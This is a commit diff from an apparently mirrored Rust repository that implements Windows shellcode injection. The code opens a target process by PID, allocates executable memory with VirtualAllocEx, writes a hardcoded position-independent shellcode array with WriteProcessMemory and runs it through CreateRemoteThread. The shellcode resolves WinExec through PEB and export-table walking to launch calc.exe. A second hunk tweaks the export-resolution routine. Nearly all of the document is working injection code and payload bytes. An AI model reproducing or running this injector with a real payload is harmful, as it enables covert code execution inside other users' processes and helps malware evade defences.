mirror of
https://github.com/0xflux/rust_shellcode
synced 2026-06-08 10:13:40 +00:00
tidy up
This commit is contained in:
flux
+55
-24
@@ -3,17 +3,37 @@ use anyhow::Result;
|
||||
use windows::Win32::{Foundation::GetLastError, System::{Diagnostics::Debug::WriteProcessMemory, Memory::{VirtualAlloc, VirtualAllocEx, VirtualFree, VirtualProtectEx, MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE}, Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS, PROCESS_VM_OPERATION, PROCESS_VM_WRITE}}};
|
||||
|
||||
fn main() {
|
||||
let payload = match read_shellcode_file() {
|
||||
Ok(s) => s,
|
||||
Err(e) => panic!("[-] Unable to read shellcode from file: {e}"),
|
||||
};
|
||||
// let payload = match read_shellcode_file() {
|
||||
// Ok(s) => s,
|
||||
// Err(e) => panic!("[-] Unable to read shellcode from file: {e}"),
|
||||
// };
|
||||
|
||||
// let payload: [u8; 512] = [
|
||||
// 0xe9,0xed,0x00,0x00,0x00,0x10,0x00,0x00,0xac,0x11,0x00,0x00,0xf2,0x10,0x00,0x00,0x87,0x11,0x00,0x00,0xb8,0x11,0x00,0x00,0x87,0x11,0x00,0x00,0xa9,0x11,0x00,0x00,0xc0,0x11,0x00,0x00,0x4b,0x00,0x45,0x00,0x52,0x00,0x4e,0x00,0x45,0x00,0x4c,0x00,0x33,0x00,0x32,0x00,0x2e,0x00,0x44,0x00,0x4c,0x00,0x4c,0x00,0x00,0x00,0x4c,0x6f,0x61,0x64,0x4c,0x69,0x62,0x72,0x61,0x72,0x79,0x41,0x00,0x65,0x66,0x67,0x00,0x00,0x18,0x00,0x00,0x00,0x00,0x80,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x56,0x53,0x50,0x66,0x81,0x39,0x4d,0x5a,0x75,0x6e,0xb8,0x78,0x56,0x34,0x12,0x81,0x39,0x50,0x45,0x00,0x00,0x75,0x6c,0x8b,0x51,0x18,0x45,0x31,0xc0,0x4c,0x8d,0x0d,0xb2,0xff,0xff,0xff,0x49,0x39,0xd0,0x74,0x5a,0x46,0x8b,0x14,0x81,0x49,0x89,0xcb,0x41,0x80,0x3b,0x00,0x4d,0x8d,0x5b,0x01,0x75,0xf6,0x49,0x01,0xca,0x4c,0x89,0xd0,0x49,0xc7,0xc3,0xff,0xff,0xff,0xff,0x43,0x80,0x7c,0x1a,0x01,0x00,0x4d,0x8d,0x5b,0x01,0x75,0xf4,0x49,0xff,0xc0,0x49,0x83,0xfb,0x0c,0x75,0xc8,0x45,0x31,0xdb,0x49,0x83,0xfb,0x0c,0x74,0x1b,0x43,0x8a,0x1c,0x1a,0x49,0x8d,0x73,0x01,0x43,0x3a,0x1c,0x0b,0x49,0x89,0xf3,0x74,0xe9,0xeb,0xac,0xcc,0xb8,0x78,0x56,0x34,0x12,0xeb,0x03,0x48,0x89,0xc8,0x48,0x83,0xc4,0x08,0x5b,0x5e,0xc3,0x48,0x83,0xec,0x28,0x48,0xc7,0xc1,0x00,0x00,0x00,0x00,0x48,0xc7,0xc2,0x00,0x00,0x00,0x00,0x65,0x48,0x8b,0x0c,0x25,0x60,0x00,0x00,0x00,0x48,0x8b,0x51,0x18,0x48,0x8b,0x42,0x10,0x48,0x8d,0x15,0x08,0xff,0xff,0xff,0x48,0x89,0xc1,0x4c,0x8b,0x41,0x60,0x4d,0x85,0xc0,0x74,0x3d,0x66,0x83,0x79,0x58,0x00,0x74,0x36,0x49,0xc7,0xc1,0xff,0xff,0xff,0xff,0x66,0x43,0x83,0x7c,0x48,0x02,0x00,0x4d,0x8d,0x49,0x01,0x75,0xf3,0x49,0x83,0xf9,0x0c,0x75,0x1c,0x45,0x31,0xc9,0x49,0x83,0xf9,0x18,0x74,0x22,0x45,0x0f,0xb7,0x14,0x11,0x4d,0x8d,0x59,0x02,0x66,0x47,0x3b,0x14,0x08,0x4d,0x89,0xd9,0x74,0xe7,0x48,0x8b,0x09,0x48,0x39,0xc1,0x75,0xb2,0xb9,0x78,0x56,0x34,0x12,0xeb,0x04,0x48,0x8b,0x49,0x30,0xe8,0xeb,0xfe,0xff,0xff,0x48,0x89,0xc1,0xe8,0x02,0x00,0x00,0x00,0xeb,0xfe,0x48,0x83,0xec,0x10,0x48,0x8d,0x05,0xb9,0xfe,0xff,0xff,0x48,0x89,0x04,0x24,0x48,0x89,0x4c,0x24,0x08,0x48,0x8b,0x04,0x24,0x48,0x8b,0x44,0x24,0x08,0x48,0x83,0xc4,0x10,0xc3,0xcc,0xcc,0xcc,0x01,0x03,0x03,0x00,0x03,0x02,0x02,0x30,0x01,0x60,0x00,0x00,0x01,0x04,0x01,0x00,0x04,0x42,0x00,0x00,0x01,0x04,0x01,0x00,0x04,0x12,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00];
|
||||
let payload: [u8; 433] = [
|
||||
0xeb,0x4e,0x00,0x00,0x9f,0x11,0x00,0x00,0xa0,0x11,0x00,0x00,0x4b,0x00,0x45,0x00,0x52,0x00,0x4e,0x00,0x45,0x00,0x4c,0x00,
|
||||
0x33,0x00,0x32,0x00,0x2e,0x00,0x44,0x00,0x4c,0x00,0x4c,0x00,0x00,0x00,0x57,0x69,0x6e,0x45,0x78,0x65,0x63,0x00,0x63,0x61,
|
||||
0x6c,0x63,0x2e,0x65,0x78,0x65,0x00,0x00,0x18,0x00,0x00,0x00,0x00,0x80,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x41,0x56,0x56,0x57,0x55,0x53,0x48,0x83,0xec,0x20,0x48,0xc7,0xc1,0x00,0x00,0x00,
|
||||
0x00,0x48,0xc7,0xc2,0x00,0x00,0x00,0x00,0x65,0x48,0x8b,0x0c,0x25,0x60,0x00,0x00,0x00,0x48,0x8b,0x51,0x18,0x48,0x8b,0x42,
|
||||
0x10,0x48,0x8d,0x15,0x8c,0xff,0xff,0xff,0x48,0x89,0xc1,0x4c,0x8b,0x41,0x60,0x4d,0x85,0xc0,0x74,0x3d,0x66,0x83,0x79,0x58,
|
||||
0x00,0x74,0x36,0x49,0xc7,0xc1,0xff,0xff,0xff,0xff,0x66,0x43,0x83,0x7c,0x48,0x02,0x00,0x4d,0x8d,0x49,0x01,0x75,0xf3,0x49,
|
||||
0x83,0xf9,0x0c,0x75,0x1c,0x45,0x31,0xc9,0x49,0x83,0xf9,0x18,0x74,0x22,0x45,0x0f,0xb7,0x14,0x11,0x4d,0x8d,0x59,0x02,0x66,
|
||||
0x47,0x3b,0x14,0x08,0x4d,0x89,0xd9,0x74,0xe7,0x48,0x8b,0x09,0x48,0x39,0xc1,0x75,0xb2,0xb8,0x78,0x56,0x34,0x12,0xeb,0x04,
|
||||
0x48,0x8b,0x41,0x30,0x41,0xb8,0x78,0x56,0x34,0x12,0x66,0x81,0x38,0x4d,0x5a,0x0f,0x85,0x99,0x00,0x00,0x00,0x8b,0x48,0x3c,
|
||||
0x44,0x8b,0x84,0x08,0x88,0x00,0x00,0x00,0x42,0x8b,0x54,0x00,0x18,0x42,0x8b,0x4c,0x00,0x1c,0x46,0x8b,0x4c,0x00,0x20,0x46,
|
||||
0x8b,0x44,0x00,0x24,0x31,0xdb,0x4c,0x8d,0x15,0x11,0xff,0xff,0xff,0x48,0x39,0xd3,0x74,0x7d,0x48,0x8d,0x73,0x01,0x41,0x89,
|
||||
0xdb,0x43,0x8d,0x3c,0x99,0x8b,0x3c,0x38,0x80,0x3c,0x38,0x00,0x48,0x89,0xf3,0x74,0xe4,0x48,0x01,0xc7,0x49,0xc7,0xc6,0xff,
|
||||
0xff,0xff,0xff,0x42,0x80,0x7c,0x37,0x01,0x00,0x4d,0x8d,0x76,0x01,0x75,0xf4,0x48,0x89,0xf3,0x49,0x83,0xfe,0x07,0x75,0xc5,
|
||||
0x31,0xdb,0x48,0x83,0xfb,0x07,0x74,0x16,0x42,0x8a,0x2c,0x13,0x4c,0x8d,0x73,0x01,0x40,0x3a,0x2c,0x1f,0x4c,0x89,0xf3,0x74,
|
||||
0xe9,0x48,0x89,0xf3,0xeb,0xa7,0x43,0x8d,0x14,0x58,0x0f,0xb7,0x14,0x10,0x81,0xe2,0xff,0x3f,0x00,0x00,0x8d,0x0c,0x91,0x44,
|
||||
0x8b,0x04,0x08,0x49,0x01,0xc0,0x48,0x8d,0x0d,0xa1,0xfe,0xff,0xff,0xba,0x01,0x00,0x00,0x00,0x41,0xff,0xd0,0xeb,0xfe,0x41,
|
||||
0xb8,0x44,0x33,0x22,0x11,0xeb,0xe7,0xcc,0x01,0x0a,0x06,0x00,0x0a,0x32,0x06,0x30,0x05,0x50,0x04,0x70,0x03,0x60,0x02,0xe0,
|
||||
0x00,
|
||||
];
|
||||
|
||||
let pid = collect_proc_addr();
|
||||
|
||||
// GET HANDLE TO PID
|
||||
// ####################################################
|
||||
// GET HANDLE TO REMOTE PROCESS
|
||||
let h_process = unsafe { OpenProcess(PROCESS_ALL_ACCESS, false, pid) };
|
||||
let h_process = match h_process {
|
||||
Ok(h) => {
|
||||
@@ -27,34 +47,44 @@ fn main() {
|
||||
let payload_ptr: *const c_void = payload.as_ptr() as *const c_void;
|
||||
|
||||
unsafe {
|
||||
// ####################################################
|
||||
// ALLOCATE MEMORY IN REMOTE PROCESS
|
||||
|
||||
let remotememory_ptr: *mut c_void = VirtualAllocEx(h_process, None, payload_len,
|
||||
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
if !remotememory_ptr.is_null() {
|
||||
println!("[+] Allocated memory address: {:p}", remotememory_ptr);
|
||||
if remotememory_ptr.is_null() {
|
||||
panic!("[-] Did not create memory. {:?}", GetLastError());
|
||||
}
|
||||
println!("[+] Allocated memory address: {:p}", remotememory_ptr);
|
||||
|
||||
let result_writeprocessmemory = WriteProcessMemory(h_process,
|
||||
remotememory_ptr, payload_ptr, payload_len, None);
|
||||
|
||||
match result_writeprocessmemory {
|
||||
Ok(_) => {
|
||||
println!("[+] Successfully wrote process memory.");
|
||||
// ####################################################
|
||||
// WRITE PROCESS MEMORY
|
||||
|
||||
|
||||
let result_createremotethread = CreateRemoteThread(h_process,
|
||||
None, 0, transmute(remotememory_ptr), None, 0, None);
|
||||
let result_writeprocessmemory = WriteProcessMemory(h_process,
|
||||
remotememory_ptr, payload_ptr, payload_len, None);
|
||||
|
||||
match result_createremotethread {
|
||||
Ok(_) => println!("[+] Thread created"),
|
||||
Err(e) => eprintln!("[-] Error creating thread {e}"),
|
||||
}
|
||||
},
|
||||
Err(e) => eprintln!("[-] Error writing process memory {e}"),
|
||||
}
|
||||
if let Err(e) = result_writeprocessmemory {
|
||||
panic!("[-] Error writing process memory {e}");
|
||||
}
|
||||
println!("[+] Successfully wrote process memory.");
|
||||
|
||||
|
||||
// ####################################################
|
||||
// CREATE REMOTE THREAD
|
||||
|
||||
let result_createremotethread = CreateRemoteThread(h_process,
|
||||
None, 0, transmute(remotememory_ptr), None, 0, None);
|
||||
|
||||
match result_createremotethread {
|
||||
Ok(_) => println!("[+] Thread created"),
|
||||
Err(e) => eprintln!("[-] Error creating thread {e}"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Get the pid from the command line when the user starts the program
|
||||
fn collect_proc_addr() -> u32 {
|
||||
let args: Vec<String> = env::args().collect();
|
||||
|
||||
@@ -69,6 +99,7 @@ fn collect_proc_addr() -> u32 {
|
||||
pid_as_int
|
||||
}
|
||||
|
||||
/// If not hard coding shellcode, read from specified file.
|
||||
fn read_shellcode_file() -> Result<Vec<u8>> {
|
||||
let mut shellcode_file = File::open(r"C:\Users\ian\git\rust_shellcode\builder\output\shellcode.bin")?;
|
||||
let mut shellcode_buffer = Vec::new();
|
||||
|
||||
@@ -58,7 +58,7 @@ pub extern "system" fn get_function_from_exports(dll_base: *const c_void, needle
|
||||
// cast the dos header
|
||||
let dos_header = &*(dll_base as *const IMAGE_DOS_HEADER);
|
||||
if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE {
|
||||
return 0x12345678 as *const c_void;
|
||||
return 0x87654321 as *const c_void;
|
||||
}
|
||||
|
||||
// get us to the export directory
|
||||
@@ -76,14 +76,14 @@ pub extern "system" fn get_function_from_exports(dll_base: *const c_void, needle
|
||||
|
||||
// iterate through each export, looking for our chosen
|
||||
for i in 0..number_of_names {
|
||||
let name_rva_p: *const DWORD = (dll_base as *const u8).offset((addr_of_names + i * 4) as isize) as *const _;
|
||||
let name_index_p: *const WORD = (dll_base as *const u8).offset((addr_of_ords + i * 2) as isize) as *const _;
|
||||
let name_index = name_index_p.as_ref().unwrap();
|
||||
let mut off: u32 = (4 * name_index) as u32;
|
||||
off = off + addr_of_funcs;
|
||||
let func_rva: *const DWORD = (dll_base as *const u8).offset(off as _) as *const _;
|
||||
let p_name_rva: *const DWORD = (dll_base as *const u8).offset((addr_of_names + i * 4) as isize) as *const _;
|
||||
let p_name_index: *const WORD = (dll_base as *const u8).offset((addr_of_ords + i * 2) as isize) as *const _;
|
||||
let name_index = p_name_index.as_ref().unwrap();
|
||||
let mut offset: u32 = (4 * name_index) as u32;
|
||||
offset = offset + addr_of_funcs;
|
||||
let func_rva: *const DWORD = (dll_base as *const u8).offset(offset as _) as *const _;
|
||||
|
||||
let name_rva = name_rva_p.as_ref().unwrap();
|
||||
let name_rva = p_name_rva.as_ref().unwrap();
|
||||
let curr_name = (dll_base as *const u8).offset(*name_rva as isize);
|
||||
|
||||
if *curr_name == 0 {
|
||||
|
||||
Reference in New Issue
Block a user